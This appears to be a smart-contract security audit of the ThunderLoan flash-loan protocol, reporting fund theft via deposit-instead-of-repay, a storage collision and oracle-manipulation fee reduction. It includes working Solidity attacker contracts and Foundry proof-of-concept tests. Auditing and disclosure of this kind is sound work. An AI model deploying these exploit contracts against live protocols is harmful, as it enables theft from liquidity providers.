Protocol Audit Report

Prepared by: Bizarro

Table of Contents

Protocol Summary

The ⚡ ThunderLoan⚡ protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded contract. Please include this upgrade in scope of a security review.

Disclaimer

Bizarro found as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

1. Owner: The owner of the protocol who has the power to upgrade the implementation.
2. Liquidity Provider: A user who deposits assets into the protocol to earn interest.
3. User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Gas	
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: The `ThunderLoan::updateExchangeRate` within the `deposit` function incorrectly updates the asset token's exchange rate after calculating fees. This is problematic as the exchange rate should only be adjusted when a user redeems the underlying token for the asset token, not during deposits. This miscalculation leads to inflated exchange rates for liquidity providers, misleading the protocol about its fee revenue, hindering redemptions, and ultimately resulting in inaccurate exchange rate calculations.

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        // @audit high
        // we shouldn't be updating the exchange rate here
@>        uint256 calculatedFee = getCalculatedFee(token, amount);
@>        assetToken.updateExchangeRate(calculatedFee);
        // e when a liquidity provider deposits, the $ sits in the
assetToken contract
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. Users takes out a flash loan
3. It is now impossible for LP to redeem.

▶ Proof of Code

Place the following into the `ThunderLoanTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

        uint256 totalAmount = type(uint256).max;
        vm.prank(liquidityProvider);
        thunderLoan.redeem(tokenA, totalAmount);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

--        uint256 calculatedFee = getCalculatedFee(token, amount);
--        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] All Funds from the protocol can be stolen if the flash loan is returned using `deposit()` rather than `repay()`

Description: An attacker can start a flash loan and rather than using repay to return flash loan amount it can use deposit, enabling stealing all the funds.

Impact: All the funds of the AssetContract can be stolen.

Vulnerability Details: The `flashLoan()` performs a crucial balance check to ensure that the ending balance, after the balance loan, exceed the initial balance, accounting for borrower fees. This verification is achieved by comparring `endingbalance` with `startingBalance + fee` However, a vulnerability emerges when calculating endingBalance using token.balanceOf(address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit() instead of repay(). This action allows the attacker to mint AssetToken and subsequently redeem it using redeem(). What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

POC:

paste this to the `ThunderLoanTest.t.sol`

```
 function testUseDepositInsteadOfRepayToStealFunds() public
setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);

    }
```

Paste this contract at the bottom of the testFile.

```
contract DepositOverRepay is IFlashLoanReceiver {
    // 1. Swap tokenA borrowed for WETH
    // 2. Take out Another flash loan

    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;
```

```
    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        override
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation:

Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-3] Storage collision during upgrade

Description: The thunderloanupgrade.sol storage layout is not compatible with the storage layout of thunderLoan.sol which will cause storage collision and mismatch of variable to different data.

Impact: Fee is miscalculated for flashloan users pay same amount of what they borrowed as fee

Proof of Code:

```
function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
```

```
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee Before: ", feeBeforeUpgrade);
        console.log("Fee After: ", feeAfterUpgrade);
        assert(feeAfterUpgrade != feeBeforeUpgrade);
    }
```

Recommended Mitigation: The team should should make sure the the fee is pointing to the correct location as intended by the developer: a suggestion recommendation is for the team to get the feeValue from the previous implementation, clear the values that will not be needed again and after upgrade reset the fee back to its previous value from the implementation.

Medium

[M-1] Attacker can minimize `ThunderLoan::flashLoan` fee via price oracle manipulation

Description: In `ThunderLoan::flashLoan` the prive of the `fee` is calculated using the method `ThunderLoan::getCalculatedFee`:

```
    uint256 fee = getCalculatedFee(token, amount);
```

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
returns (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;
    //slither-disable-next-line divide-before-multiply
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

`getCalculatedFee()` uses the function `OracleUpgradable::getPriceInWeth` to calculate the price of the single underlying token in WETH:

```
    function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

This function gets the address of the token-WETH pool, and calls TSwapPool::getPriceOfOnePoolTokenInWeth on the pool. This function's behavior is dependent on the implementation of the ThunderLoan::initialize argument tswapAddress but it can be assumed to be a

constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation.

If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than s_feePrecision, resulting in a minimal value for valueOfBorrowedToken:

```
    uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;
```

Since a value of 0 for the fee would revert as assetToken.updateExchangeRate(fee); would revert since there is a check ensuring that the exchange rate increases, which with a 0 fee, the exchange rate would stay the same, hence the function will revert:

```
    function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // 1. Get the current exchange rate
    // 2. How big the fee is should be divided by the total supply
    // 3. So if the fee is 1e18, and the total supply is 2e18, the
exchange rate be multiplied by 1.5
    // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate
should be multiplied by 1.125
    // it should always go up, never down
    // newExchangeRate = oldExchangeRate * (totalSupply + fee) /
totalSupply
    // newExchangeRate = 1 (4 + 0.5) / 4
    // newExchangeRate = 1.125
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
totalSupply();

    // newExchangeRate = s_exchangeRate + fee/totalSupply();

    if (newExchangeRate <= s_exchangeRate) {
        revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
newExchangeRate);
    }
    s_exchangeRate = newExchangeRate;
    emit ExchangeRateUpdated(s_exchangeRate);
}
```

```
    receiverAddress.functionCall(
    abi.encodeWithSignature(
        "executeOperation(address,uint256,uint256,address,bytes)",
        address(token),
        amount,
        fee,
```

```
            msg.sender,
            params
        )
    );
```

This means that an attacking contract can perform an attack by:

1. Calling flashloan() with a sufficiently small value for amount
2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the executionOperation callback
3. Re-calling flashloan() this time with a large value for amount but now the fee will be minimal, regardless of the size of the loan.
4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan.

Impact: An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

Proof of Concept: The attacking contract implements an executeOperation function which, when called via the ThunderLoan contract, will perform the following sequence of function calls:

Calls the mock pool contract to set the price (simulating manipulating the price) Repay the initial loan Re-calls flashloan, taking a large loan now with a reduced fee Repay second loan

```
   // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver, IThunderLoan } from
"../../src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { MockTSwapPool } from "./MockTSwapPool.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";

contract AttackFlashLoanReceiver {
    error AttackFlashLoanReceiver__onlyOwner();
    error AttackFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;
```

```
    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    uint256 public attackAmount = 1e20;
    uint256 public attackFee1;
    uint256 public attackFee2;
    address tSwapPool;
    IERC20 tokenA;

    constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
        tSwapPool = _tSwapPool;
        tokenA = _tokenA;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

        // check if it is the first time through the reentrancy
        bool isFirst = abi.decode(params, (bool));

        if (isFirst) {
            // Manipulate the price
            MockTSwapPool(tSwapPool).setPrice(1e15);
            // repay the initial, small loan
            IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
            IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 +
attackFee1);
            ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA,
attackAmount, abi.encode(false));
            attackFee1 = fee;
            return true;
        } else {
            attackFee2 = fee;
            // simulate withdrawing the funds from the price pool
           //MockTSwapPool(tSwapPool).setPrice(1e18);
            // repay the second, large low fee loan
            IERC20(token).approve(s_thunderLoan, attackAmount +
attackFee2);
```

```
            IThunderLoan(s_thunderLoan).repay(address(tokenA),
attackAmount + attackFee2);
            return true;
        }
    }

    function getbalanceDuring() external view returns (uint256) {
        return s_balanceDuringFlashLoan;
    }

    function getBalanceAfter() external view returns (uint256) {
        return s_balanceAfterFlashLoan;
    }
}

);
```

The following test first calls flashloan() with the attacking contract, the executeOperation() callback then executes the attack.

```
    function test_poc_smallFeeReentrancy() public setAllowedToken
hasDeposits {
    uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price before: ", price);
    // borrow a large amount to perform the price oracle manipulation
    uint256 amountToBorrow = 1e6;
    bool isFirstCall = true;
    bytes memory params = abi.encode(isFirstCall);

    uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA,
attackFlashLoanReceiver.attackAmount());

    // Give the attacking contract reserve tokens for the price oracle
manipulation & paying fees
    // For a less funded attacker, they could use the initial flash loan
to perform the manipulation but pay a higher initial fee
    tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);

    vm.startPrank(user);
    thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA,
amountToBorrow, params);
    vm.stopPrank();
    assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
    uint256 priceAfter =
MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price after: ", priceAfter);

    console.log("expectedSecondFee: ", expectedSecondFee);
    console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
    console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
}
```

```
$ forge test --mt test_poc_smallFeeReentrancy -vvvv

// output
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] test_poc_smallFeeReentrancy() (gas: 1162442)
Logs:
  price before:  1000000000000000000
  price after:  1000000000000000
  expectedSecondFee:  300000000000000000
  attackFee2:  300000000000000
  attackFee1:  3000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

Recommended Mitigation: Use a manipulation-resistant oracle such as Chainlink.